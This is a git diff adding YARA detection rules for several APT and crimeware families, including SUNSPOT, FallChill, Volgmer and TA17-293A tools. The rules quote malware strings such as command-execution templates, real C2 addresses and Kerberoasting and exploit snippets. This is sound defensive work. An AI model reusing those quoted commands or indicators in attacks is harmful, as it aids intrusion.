+      $flowerOverlap1 = { 85 C0 75 3B 57 FF 75 1C FF 75 18 FF 75 14 50 FF 75 10 FF 75 FC FF 15 }
+      $flowerOverlap2 = { 85 C0 75 4C 8B 45 1C 89 45 0C 8D 45 0C 50 8D 45 08 FF 75 18 50 6A 00 FF 75 10 FF 75 20 FF 15 }
+      $flowerOverlap3 = { 55 8B EC 53 56 8B 75 20 85 F6 74 03 83 26 00 8D 45 20 50 68 19 00 02 00 6A 00 FF 75 0C FF 75 08 }
+      $flowerOverlap4 = { 55 8B EC 51 8D 4D FC 33 C0 51 50 6A 26 50 89 45 FC FF 15 }
+      $flowerOverlap5 = { 85 DB 74 04 8B C3 EB 1A 8B 45 08 3B 45 14 74 07 B8 5D 06 00 00 EB 0B 85 F6 74 05 8B 45 0C 89 06 }
+      $flowerOverlap6 = { 85 FF 74 12 83 7D F8 01 75 0C FF 75 0C FF 75 08 FF 15 }
+
+   condition:
+      all of ($flowerOverlap*)
+      or
+      2 of ($cnc*)
+      or
+      all of ($regkey*)
+}
+
+rule STUXSHOP_OSCheck {
+   meta:
+      author = "Silas Cutler (havex@Chronicle.Security)"
+      desc = "Identifies the OS Check function in STUXSHOP and CheshireCat"
+      hash = "c1961e54d60e34bbec397c9120564e8d08f2f243ae349d2fb20f736510716579"
+      id = "24fb5c6f-d5ab-5f17-942c-b712e2c017d4"
+   strings:
+      $ = {10 F7 D8 1B C0 83 C0 ?? E9 ?? 01 00 00 39 85 7C FF FF FF 0F 85 ?? 01 00
+      00 83 BD 70 FF FF FF 04 8B 8D 74 FF FF FF 75 0B 85 C9 0F 85 ?? 01 00 00 6A 05
+      5E }
+      $ = {01 00 00 3B FA 0F 84 ?? 01 00 00 80 7D 80 00 B1 62 74 1D 6A 0D 8D 45 80
+      68 ?? ?? ?? 10 50 FF 15 ?? ?? ?? 10 83 C4 0C B1 6F 85 C0 75 03 8A 4D 8D 8B C6
+      }
+   condition:
+      any of them
+}
diff --git a/yara-Neo23x0/apt_suckfly.yar b/yara-Neo23x0/apt_suckfly.yar
new file mode 100644
index 0000000..830281b
--- /dev/null
+++ b/yara-Neo23x0/apt_suckfly.yar
@@ -0,0 +1,88 @@
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2018-01-28
+   Identifier: Suckfly
+   Reference: https://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates
+*/
+
+import "pe"
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Suckfly_Nidiran_Gen_1 {
+   meta:
+      description = "Detects Suckfly Nidiran Trojan"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates"
+      date = "2018-01-28"
+      hash1 = "ac7d7c676f58ebfa5def9b84553f00f283c61e4a310459178ea9e7164004e734"
+      id = "1abc596a-5fb1-55f9-b72d-022bfc6d10c7"
+   strings:
+      $s1 = "WriteProcessMemory fail at %d " fullword ascii
+      $s2 = "CreateRemoteThread fail at %d " fullword ascii
+      $s3 = "CreateRemoteThread Succ" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 200KB and 2 of them
+}
+
+rule Suckfly_Nidiran_Gen_2 {
+   meta:
+      description = "Detects Suckfly Nidiran Trojan"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates"
+      date = "2018-01-28"
+      hash1 = "b53a316a03b46758cb128e5045dab2717cb36e7b5eb1863ce2524d4f69bc2cab"
+      hash2 = "eaee2bf83cf90d35dab8a4711f7a5f2ebf9741007668f3746995f4564046fbdf"
+      id = "b090079d-1c22-5931-a25b-e960343a610f"
+   strings:
+      $x1 = "WorkDll.dll" fullword ascii
+      $x2 = "%userprofile%\\Security Center\\secriter.dll" fullword ascii
+
+      $s1 = "DLL_PROCESS_ATTACH is called" fullword ascii
+      $s2 = "Support Security Accounts Manager For Microsoft Windows.If this service is stopped, any services that depended on it will fail t" ascii
+      $s3 = "before CreateRemoteThread" fullword ascii
+      $s4 = "CreateRemoteThread Succ" fullword ascii
+      $s5 = "Microsoft Security Accounts Manager" fullword ascii
+      $s6 = "DoRunRemote" fullword ascii
+      $s7 = "AutoRunFun" fullword ascii
+      $s8 = "ServiceMain is called" fullword ascii
+      $s9 = "DllRegisterServer is called" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 200KB and (
+        1 of ($x*) or
+        4 of them
+      )
+}
+
+rule Suckfly_Nidiran_Gen_3 {
+   meta:
+      description = "Detects Suckfly Nidiran Trojan"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates"
+      date = "2018-01-28"
+      hash1 = "c2022e1114b162e79e44d974fd310d53e1bbdd8cb4f217553c1227cafed78855"
+      hash2 = "47731c9d985ebc2bd7227fced3cc44c6d72e29b52f76fccbdaddd76cc3450706"
+      id = "d9daf7e4-2cfa-50c9-84d2-c971734abe5e"
+   strings:
+      $x1 = "RUN SHELLCODE FAIL" fullword ascii
+      $x2 = "RUN PROCESS FAILD!" fullword ascii
+      $x3 = "DOWNLOAD FILE FAILD" fullword ascii
+      $x4 = "MODIFYCONFIG FAIL!" fullword ascii
+      $x5 = "GetFileAttributes FILE FAILD" fullword ascii
+      $x6 = "MODIFYCONFIG SUCC!" fullword ascii
+
+      $s1 = "cmd.exe /c %s" fullword ascii
+      $s2 = "error to create pipe!" fullword ascii
+      $s3 = "%s\\%08x.exe" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 300KB and (
+        pe.imphash() == "ae0f4ebf7e8ce91d6548318a3cf82b7a" or
+        1 of ($x*) or
+        2 of them
+      )
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/apt_sunspot.yar b/yara-Neo23x0/apt_sunspot.yar
new file mode 100644
index 0000000..f5eb642
--- /dev/null
+++ b/yara-Neo23x0/apt_sunspot.yar
@@ -0,0 +1,88 @@
+rule CrowdStrike_SUNSPOT_01 : artifact stellarparticle sunspot {
+
+    meta:
+        author = "(c) 2021 CrowdStrike Inc."
+        description = "Detects RC4 and AES key encryption material in SUNSPOT"
+        reference = "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/"
+        version = "202101081448"
+        date = "2021-01-08"
+        actor = "StellarParticle"
+        malware_family = "SUNSPOT"
+
+        id = "2a2a5cfc-d059-5942-bd70-c3169e9ceb45"
+    strings:
+
+        $key = {fc f3 2a 83 e5 f6 d0 24 a6 bf ce 88 30 c2 48 e7}
+        $iv  = {81 8c 85 49 b9 00 06 78 0b e9 63 60 26 64 b2 da}
+
+    condition:
+        all of them and filesize < 32MB
+
+}
+
+rule CrowdStrike_SUNSPOT_02 : artifact stellarparticle sunspot
+{
+
+    meta:
+        copyright = "(c) 2021 CrowdStrike Inc."
+        description = "Detects mutex names in SUNSPOT"
+        version = "202101081448"
+        date = "2021-01-08"
+        actor = "StellarParticle"
+        malware_family = "SUNSPOT"
+        reference = "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/"
+
+        id = "9ecb89e6-475b-5961-8a67-136a0274e1c7"
+    strings:
+        $mutex_01 = "{12d61a41-4b74-7610-a4d8-3028d2f56395}" wide ascii
+        $mutex_02 = "{56331e4d-76a3-0390-a7ee-567adf5836b7}" wide ascii
+
+    condition:
+        any of them and filesize < 10MB
+
+}
+
+rule CrowdStrike_SUNSPOT_03 : artifact logging stellarparticle sunspot 
+
+{
+
+    meta:
+        copyright = "(c) 2021 CrowdStrike Inc."
+        description = "Detects log format lines in SUNSPOT"
+        version = "202101081443"
+        last_modified = "2021-01-08"
+        actor = "StellarParticle"
+        malware_family = "SUNSPOT"
+
+        id = "5535163e-a85a-587d-bb6e-083783f915c9"
+    strings:
+        $s01 = "[ERROR] ***Step1('%ls','%ls') fails with error %#x***\x0A" ascii
+        $s02 = "[ERROR] Step2 fails\x0A" ascii
+        $s03 = "[ERROR] Step3 fails\x0A" ascii
+        $s04 = "[ERROR] Step4('%ls') fails\x0A" ascii
+        $s05 = "[ERROR] Step5('%ls') fails\x0A" ascii
+        $s06 = "[ERROR] Step6('%ls') fails\x0A" ascii
+        $s07 = "[ERROR] Step7 fails\x0A" ascii
+        $s08 = "[ERROR] Step8 fails\x0A" ascii
+        $s09 = "[ERROR] Step9('%ls') fails\x0A" ascii
+        $s10 = "[ERROR] Step10('%ls','%ls') fails with error %#x\x0A" ascii
+        $s11 = "[ERROR] Step11('%ls') fails\x0A" ascii
+        $s12 = "[ERROR] Step12('%ls','%ls') fails with error %#x\x0A" ascii
+        $s13 = "[ERROR] Step30 fails\x0A" ascii
+        $s14 = "[ERROR] Step14 fails with error %#x\x0A" ascii
+        $s15 = "[ERROR] Step15 fails\x0A" ascii
+        $s16 = "[ERROR] Step16 fails\x0A" ascii
+        $s17 = "[%d] Step17 fails with error %#x\x0A" ascii
+        $s18 = "[%d] Step18 fails with error %#x\x0A" ascii
+        $s19 = "[ERROR] Step19 fails with error %#x\x0A" ascii
+        $s20 = "[ERROR] Step20 fails\x0A" ascii
+        $s21 = "[ERROR] Step21(%d,%s,%d) fails\x0A" ascii
+        $s22 = "[ERROR] Step22 fails with error %#x\x0A" ascii
+        $s23 = "[ERROR] Step23 fails with error %#x\x0A" ascii
+        $s24 = "[%d] Solution directory: %ls\x0A" ascii
+        $s25 = "[%d] %04d-%02d-%02d %02d:%02d:%02d:%03d %ls\x0A" ascii
+        $s26 = "[%d] + '%s' " ascii
+
+    condition:
+        2 of them and filesize < 10MB
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/apt_sysscan.yar b/yara-Neo23x0/apt_sysscan.yar
new file mode 100644
index 0000000..98f99be
--- /dev/null
+++ b/yara-Neo23x0/apt_sysscan.yar
@@ -0,0 +1,39 @@
+rule xDedic_SysScan_unpacked {
+   meta:
+      author = " Kaspersky Lab"
+      maltype = "crimeware"
+      type ="crimeware"
+      description = "Detects SysScan APT tool"
+      reference = "https://securelist.com/blog/research/75027/xdedic-the-shady-world-of-hacked-servers-for-sale/"
+      filetype = "Win32 EXE"
+      date = "2016-03-14"
+      version = "1.0"
+      hash1 = "fac495be1c71012682ebb27092060b43"
+      hash2 = "e8cc69231e209db7968397e8a244d104"
+      hash3 = "a53847a51561a7e76fd034043b9aa36d"
+      hash4 = "e8691fa5872c528cd8e72b82e7880e98"
+      hash5 = "F661b50d45400e7052a2427919e2f777"
+      id = "4f5d37b3-e3aa-51ec-b36e-b494c8abe227"
+   strings:
+      $a1 = "/c ping -n 2 127.0.0.1 & del \"SysScan.exe\"" ascii wide
+      $a2 = "SysScan DEBUG Mode!!!" ascii wide
+      $a3 = "This rechecking? (set 0/1 or press enter key)" ascii wide
+      $a4 = "http://37.49.224.144:8189/manual_result" ascii wide
+
+      $b1 = "Checker end work!" ascii wide
+      $b2 = "Trying send result..." ascii wide
+   condition:
+      uint16(0) == 0x5A4D and filesize < 5000000 and ( any of ($a*) or all of ($b*) )
+}
+
+rule xdedic_packed_syscan {
+   meta:
+      author = "Kaspersky Lab - modified by Florian Roth"
+      company = "Kaspersky Lab"
+      id = "da8e59f3-53f9-504b-afff-9caab798db6c"
+   strings:
+      $a1 = "SysScan.exe" nocase ascii wide
+      $a2 = "1.3.4." wide
+   condition:
+      uint16(0) == 0x5A4D and filesize > 500KB and filesize < 1500KB and all of them
+}
diff --git a/yara-Neo23x0/apt_ta17_293A.yar b/yara-Neo23x0/apt_ta17_293A.yar
new file mode 100644
index 0000000..78bc970
--- /dev/null
+++ b/yara-Neo23x0/apt_ta17_293A.yar
@@ -0,0 +1,229 @@
+/*
+   Yara Rule Set
+   Author: US-CERT
+   Date: 2017-10-21
+   Identifier: TA17-293A
+   Reference: https://www.us-cert.gov/ncas/alerts/TA17-293A
+
+   Beware: Rules have been modified to reduce complexity and false positives as well as to
+           improve the overall performance
+*/
+
+import "pe"
+
+rule TA17_293A_malware_1 {
+    meta:
+        description = "inveigh pen testing tools & related artifacts"
+        author = "US-CERT Code Analysis Team (modified by Florian Roth)"
+        reference = "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+        date = "2017/07/17"
+        hash0 = "61C909D2F625223DB2FB858BBDF42A76"
+        hash1 = "A07AA521E7CAFB360294E56969EDA5D6"
+        hash2 = "BA756DD64C1147515BA2298B6A760260"
+        hash3 = "8943E71A8C73B5E343AA9D2E19002373"
+        hash4 = "04738CA02F59A5CD394998A99FCD9613"
+        hash5 = "038A97B4E2F37F34B255F0643E49FC9D"
+        hash6 = "65A1A73253F04354886F375B59550B46"
+        hash7 = "AA905A3508D9309A93AD5C0EC26EBC9B"
+        hash8 = "5DBEF7BDDAF50624E840CCBCE2816594"
+        hash9 = "722154A36F32BA10E98020A8AD758A7A"
+        hash10 = "4595DBE00A538DF127E0079294C87DA0"
+        id = "297611c9-f4b1-5618-bd43-5a7444365727"
+    strings:
+        $n1 = "file://"
+
+        $ax1 = "184.154.150.66"
+        $ax2 = "5.153.58.45"
+        $ax3 = "62.8.193.206"
+        $ax4 = "/pshare1/icon"
+        $ax5 = "/ame_icon.png"
+        $ax6 = "/1/ree_stat/p"
+
+        /* Too many false positives with these strings
+        $au1 = "/icon.png"
+        $au2 = "/notepad.png"
+        $au3 = "/pic.png"
+        */
+
+        $s1 = "(g.charCodeAt(c)^l[(l[b]+l[e])%256])"
+        $s2 = "for(b=0;256>b;b++)k[b]=b;for(b=0;256>b;b++)"
+        $s3 = "VXNESWJfSjY3grKEkEkRuZeSvkE="
+        $s4 = "NlZzSZk="
+        $s5 = "WlJTb1q5kaxqZaRnser3sw=="
+
+        $x1 = { 87D081F60C67F5086A003315D49A4000F7D6E8EB12000081F7F01BDD21F7DE }
+        $x2 = { 33C42BCB333DC0AD400043C1C61A33C3F7DE33F042C705B5AC400026AF2102 }
+        $x3 = "fromCharCode(d.charCodeAt(e)^k[(k[b]+k[h])%256])"
+        $x4 = "ps.exe -accepteula \\%ws% -u %user% -p %pass% -s cmd /c netstat"
+        $x5 = { 22546F6B656E733D312064656C696D733D5C5C222025254920494E20286C6973742E74787429 }
+        $x6 = { 68656C6C2E657865202D6E6F65786974202D657865637574696F6E706F6C69637920627970617373202D636F6D6D616E6420222E202E5C496E76656967682E70 }
+        $x7 = { 476F206275696C642049443A202266626433373937623163313465306531 }
+        $x8 = { 24696E76656967682E7374617475735F71756575652E4164642822507265737320616E79206B657920746F2073746F70207265616C2074696D65 }
+        //specific malicious word document PK archive
+        $x9 = { 2F73657474696E67732E786D6CB456616FDB3613FEFE02EF7F10F4798E64C54D06A14ED125F19A225E87C9FD0194485B }
+        $x10 = { 6C732F73657474696E67732E786D6C2E72656C7355540500010076A41275780B0001040000000004000000008D90B94E03311086EBF014D6F4D87B48214471D2 }
+        $x11 = { 8D90B94E03311086EBF014D6F4D87B48214471D210A41450A0E50146EBD943F8923D41C9DBE3A54A240ACA394A240ACA39 }
+        $x12 = { 8C90CD4EEB301085D7BD4F61CDFEDA092150A1BADD005217B040E10146F124B1F09FEC01B56F8FC3AA9558B0B4 }
+        $x13 = { 8C90CD4EEB301085D7BD4F61CDFEDA092150A1BADD005217B040E10146F124B1F09FEC01B56F8FC3AA9558B0B4 }
+
+        $x14 = "http://bit.ly/2m0x8IH"
+
+    condition:
+        ( $n1 and 1 of ($ax*) ) or
+        2 of ($s*) or
+        1 of ($x*)
+}
+
+rule TA17_293A_energetic_bear_api_hashing_tool {
+   meta:
+      description = "Energetic Bear API Hashing Tool"
+      assoc_report = "DHS Report TA17-293A"
+      author = "CERT RE Team"
+      version = "2"
+      id = "4e58800a-9618-5d8b-954c-e843be6002c2"
+   strings:
+      $api_hash_func_v1 = { 8A 08 84 C9 74 ?? 80 C9 60 01 CB C1 E3 01 03 45 10 EB ED }
+      $api_hash_func_v2 = { 8A 08 84 C9 74 ?? 80 C9 60 01 CB C1 E3 01 03 44 24 14 EB EC }
+      $api_hash_func_x64 = { 8A 08 84 C9 74 ?? 80 C9 60 48 01 CB 48 C1 E3 01 48 03 45 20 EB EA }
+
+      $http_push = "X-mode: push" nocase
+      $http_pop = "X-mode: pop" nocase
+   condition:
+      $api_hash_func_v1 or $api_hash_func_v2 or $api_hash_func_x64 and (uint16(0) == 0x5a4d or $http_push or $http_pop)
+}
+
+rule TA17_293A_Query_XML_Code_MAL_DOC_PT_2 {
+    meta:
+        name= "Query_XML_Code_MAL_DOC_PT_2"
+        author = "other (modified by Florian Roth)"
+        reference = "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+        id = "82b0f28a-94b6-52ab-8fd6-cdc05823ac34"
+    strings:
+        $dir1 = "word/_rels/settings.xml.rels"
+        $bytes = {8c 90 cd 4e eb 30 10 85 d7}
+    condition:
+        uint32(0) == 0x04034b50 and $dir1 and $bytes
+}
+
+rule TA17_293A_Query_XML_Code_MAL_DOC {
+    meta:
+        name= "Query_XML_Code_MAL_DOC"
+        author = "other (modified by Florian Roth)"
+        reference = "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+        id = "82b0f28a-94b6-52ab-8fd6-cdc05823ac34"
+    strings:
+        $dir = "word/_rels/" ascii
+        $dir2 = "word/theme/theme1.xml" ascii
+        $style = "word/styles.xml" ascii
+    condition:
+        uint32(0) == 0x04034b50 and $dir at 0x0145 and $dir2 at 0x02b7 and $style at 0x08fd
+}
+
+rule TA17_293A_Query_Javascript_Decode_Function {
+    meta:
+        name= "Query_Javascript_Decode_Function"
+        author = "other (modified by Florian Roth)"
+        reference = "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+        id = "bc206ab3-a86b-5abe-ae84-15abab838d4e"
+    strings:
+        $decode1 = {72 65 70 6C 61 63 65 28 2F 5B 5E 41 2D 5A 61 2D 7A 30 2D 39 5C 2B 5C 2F 5C 3D 5D 2F 67 2C 22 22 29 3B}
+        $decode2 = {22 41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F 50 51 52 53 54 55 56 57 58 59 5A 61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70 71 72 73 74 75 76 77 78 79 7A 30 31 32 33 34 35 36 37 38 39 2B 2F 3D 22 2E 69 6E 64 65 78 4F 66 28 ?? 2E 63 68 61 72 41 74 28 ?? 2B 2B 29 29}
+        $decode3 = {3D ?? 3C 3C 32 7C ?? 3E 3E 34 2C ?? 3D 28 ?? 26 31 35 29 3C 3C 34 7C ?? 3E 3E 32 2C ?? 3D 28 ?? 26 33 29 3C 3C 36 7C ?? 2C ?? 2B 3D [1-2] 53 74 72 69 6E 67 2E 66 72 6F 6D 43 68 61 72 43 6F 64 65 28 ?? 29 2C 36 34 21 3D ?? 26 26 28 ?? 2B 3D 53 74 72 69 6E 67 2E 66 72 6F 6D 43 68 61 72 43 6F 64 65 28 ?? 29}
+        $decode4 = {73 75 62 73 74 72 69 6E 67 28 34 2C ?? 2E 6C 65 6E 67 74 68 29}
+        /* Only 3 characters atom - this is bad for performance - we're trying to leave this out
+        $func_call="a(\""
+        */
+    condition:
+        filesize < 20KB and
+        /* #func_call > 20 and */
+        all of ($decode*)
+}
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-10-21
+   Identifier: TA17-293A Extensions
+   Reference: https://www.us-cert.gov/ncas/alerts/TA17-293A
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule TA17_293A_Hacktool_PS_1 {
+   meta:
+      description = "Auto-generated rule"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+      date = "2017-10-21"
+      hash1 = "72a28efb6e32e653b656ca32ccd44b3111145a695f6f6161965deebbdc437076"
+      id = "e4b92536-fa9a-5a65-8bd6-84c037dfbdce"
+   strings:
+      $x1 = "$HashFormat = '$krb5tgs$23$*ID#124_DISTINGUISHED NAME: CN=fakesvc,OU=Service,OU=Accounts,OU=EnterpriseObjects,DC=asdf,DC=pd,DC=f" ascii
+      $x2 = "} | Where-Object {$_.SamAccountName -notmatch 'krbtgt'} | Get-SPNTicket @GetSPNTicketArguments" fullword ascii
+   condition:
+      ( filesize < 80KB and 1 of them )
+}
+
+rule TA17_293A_Hacktool_Touch_MAC_modification {
+   meta:
+      description = "Auto-generated rule"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+      date = "2017-10-21"
+      hash1 = "070d7082a5abe1112615877214ec82241fd17e5bd465e24d794a470f699af88e"
+      id = "69240cc0-a04e-544a-b7e3-c5a08c062055"
+   strings:
+      $s1 = "-t time - use the time specified to update the access and modification times" fullword ascii
+      $s2 = "Failed to set file times for %s. Error: %x" fullword ascii
+      $s3 = "touch [-acm][ -r ref_file | -t time] file..." fullword ascii
+      $s4 = "-m - change the modification time only" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 100KB and 1 of them )
+}
+
+rule TA17_293A_Hacktool_Exploit_MS16_032 {
+   meta:
+      description = "Auto-generated rule"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+      date = "2017-10-21"
+      hash1 = "9b97290300abb68fb48480718e6318ee2cdd4f099aa6438010fb2f44803e0b58"
+      id = "4c5838d7-9956-564e-a25c-f2ba5641ac03"
+   strings:
+      $x1 = "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread)))" ascii
+      $x2 = "0x00000002, \"C:\\Windows\\System32\\cmd.exe\", \"\"," fullword ascii
+      $x3 = "PowerShell implementation of MS16-032. The exploit targets all vulnerable" fullword ascii
+      $x4 = "If we can't open the process token it's a SYSTEM shell!" fullword ascii
+   condition:
+      ( filesize < 40KB and 1 of them )
+}
+
+/* Extra Rules based on Imphash of involved malware - Generic approach */
+
+rule Imphash_UPX_Packed_Malware_1_TA17_293A {
+   meta:
+      description = "Detects malware based on Imphash of malware used in TA17-293A"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+      date = "2017-10-21"
+      hash1 = "a278256fbf2f061cfded7fdd58feded6765fade730374c508adad89282f67d77"
+      id = "3ff28f06-8b69-5e8f-ab45-dfa4f6e69812"
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 5000KB and pe.imphash() == "d7d745ea39c8c5b82d5e153d3313096c" )
+}
+
+rule Imphash_Malware_2_TA17_293A : HIGHVOL {
+   meta:
+      description = "Detects malware based on Imphash of malware used in TA17-293A"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+      date = "2017-10-21"
+      id = "5c9f32a3-8c50-5d46-929b-bbe14697540e"
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 5000KB and pe.imphash() == "a8f69eb2cf9f30ea96961c86b4347282" )
+}
diff --git a/yara-Neo23x0/apt_ta17_318A.yar b/yara-Neo23x0/apt_ta17_318A.yar
new file mode 100644
index 0000000..245b2a2
--- /dev/null
+++ b/yara-Neo23x0/apt_ta17_318A.yar
@@ -0,0 +1,97 @@
+
+/*
+   Yara Rule Set
+   Author: US CERT
+   Date: 2017-11-15
+   Identifier: Hidden Cobra Fall Chill
+   Reference: https://www.us-cert.gov/ncas/alerts/TA17-318A
+*/
+
+rule TA17_318A_rc4_stack_key_fallchill {
+   meta:
+      description = "HiddenCobra FallChill - rc4_stack_key"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/alerts/TA17-318B"
+      date = "2017-11-15"
+      id = "0a2afcab-f540-592f-aa75-64c0a13d26f3"
+   strings:
+      $stack_key = { 0d 06 09 2a ?? ?? ?? ?? 86 48 86 f7 ?? ?? ?? ?? 0d 01 01 01 ?? ?? ?? ?? 05 00 03 82 41 8b c9 41 8b d1 49 8b 40 08 48 ff c2 88 4c 02 ff ff c1 81 f9 00 01 00 00 7c eb }
+   condition:
+      (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and $stack_key
+}
+
+rule TA17_318A_success_fail_codes_fallchill {
+   meta:
+      description = "HiddenCobra FallChill - success_fail_codes"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/alerts/TA17-318B"
+      date = "2017-11-15"
+      id = "f2390b03-238e-5ae6-af85-e5dd5790362f"
+   strings:
+      $s0 = { 68 7a 34 12 00 }
+      $s1 = { ba 7a 34 12 00 }
+      $f0 = { 68 5c 34 12 00 }
+      $f1 = { ba 5c 34 12 00 }
+   condition:
+      (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and (($s0 and $f0) or ($s1 and $f1))
+}
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-11-15
+   Identifier: Hidden Cobra Fall Chill
+   Reference: https://www.us-cert.gov/ncas/alerts/TA17-318A
+*/
+
+import "pe"
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule HiddenCobra_FallChill_1 {
+   meta:
+      description = "Auto-generated rule"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.us-cert.gov/ncas/alerts/TA17-318A"
+      date = "2017-11-15"
+      hash1 = "a606716355035d4a1ea0b15f3bee30aad41a2c32df28c2d468eafd18361d60d6"
+      id = "5bbeb5ba-93d7-5903-9132-749afe5776ae"
+   strings:
+      $s1 = "REGSVR32.EXE.MUI" fullword wide
+      $s2 = "Microsoft Corporation. All rights reserved." fullword wide
+      $s3 = "c%sd.e%sc %s > \"%s\" 2>&1" fullword wide
+      $s4 = "\" goto Loop" fullword ascii
+
+      $e1 = "xolhvhlxpvg" fullword ascii
+      $e2 = "tvgslhgybmanv" fullword ascii
+      $e3 = "CivagvTllosvok32Smakhslg" fullword ascii
+      $e4 = "GvgCfiivmgDrivxglibW" fullword ascii
+      $e5 = "OkvmPilxvhhTlpvm" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 300KB and (
+        pe.imphash() == "6135d9bc3591ae7bc72d070eadd31755" or
+        3 of ($s*) or
+        4 of them
+      )
+}
+
+rule HiddenCobra_FallChill_2 {
+   meta:
+      description = "Auto-generated rule"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.us-cert.gov/ncas/alerts/TA17-318A"
+      date = "2017-11-15"
+      hash1 = "0a118eb23399000d148186b9079fa59caf4c3faa7e7a8f91533e467ac9b6ff41"
+      id = "c343e8e4-0785-5a47-99c1-98b189f4aaa0"
+   strings:
+      $s1 = "%s\\%s.dll" fullword wide
+      $s2 = "yurdkr.dll" fullword ascii
+      $s3 = "c%sd.e%sc %s > \"%s\" 2>&1" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 500KB and (
+         pe.imphash() == "cb36dcb9909e29a38c387b8a87e7e4ed" or
+         ( 2 of them )
+      )
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/apt_ta17_318B.yar b/yara-Neo23x0/apt_ta17_318B.yar
new file mode 100644
index 0000000..b4f52cc
--- /dev/null
+++ b/yara-Neo23x0/apt_ta17_318B.yar
@@ -0,0 +1,71 @@
+/*
+   Yara Rule Set
+   Author: US CERT
+   Date: 2017-11-15
+   Identifier: Hidden Cobra Fall Chill
+   Reference: https://www.us-cert.gov/ncas/alerts/TA17-318B
+*/
+
+rule TA17_318B_volgmer {
+   meta:
+      description = "Malformed User Agent in Volgmer malware"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/alerts/TA17-318B"
+      date = "2017-11-15"
+      id = "20a7f64b-0fee-5235-ac91-2fc811497ac6"
+   strings:
+      $s = "Mozillar/"
+   condition:
+      ( uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550 ) and $s
+}
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-11-15
+   Identifier:
+   Reference: https://www.us-cert.gov/ncas/alerts/TA17-318B
+*/
+
+import "pe"
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Volgmer_Malware {
+   meta:
+      description = "Detects Volgmer malware as reported in US CERT TA17-318B"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.us-cert.gov/ncas/alerts/TA17-318B"
+      date = "2017-11-15"
+      hash1 = "ff2eb800ff16745fc13c216ff6d5cc2de99466244393f67ab6ea6f8189ae01dd"
+      hash2 = "8fcd303e22b84d7d61768d4efa5308577a09cc45697f7f54be4e528bbb39435b"
+      hash3 = "eff3e37d0406c818e3430068d90e7ed2f594faa6bb146ab0a1c00a2f4a4809a5"
+      hash4 = "e40a46e95ef792cf20d5c14a9ad0b3a95c6252f96654f392b4bc6180565b7b11"
+      hash5 = "6dae368eecbcc10266bba32776c40d9ffa5b50d7f6199a9b6c31d40dfe7877d1"
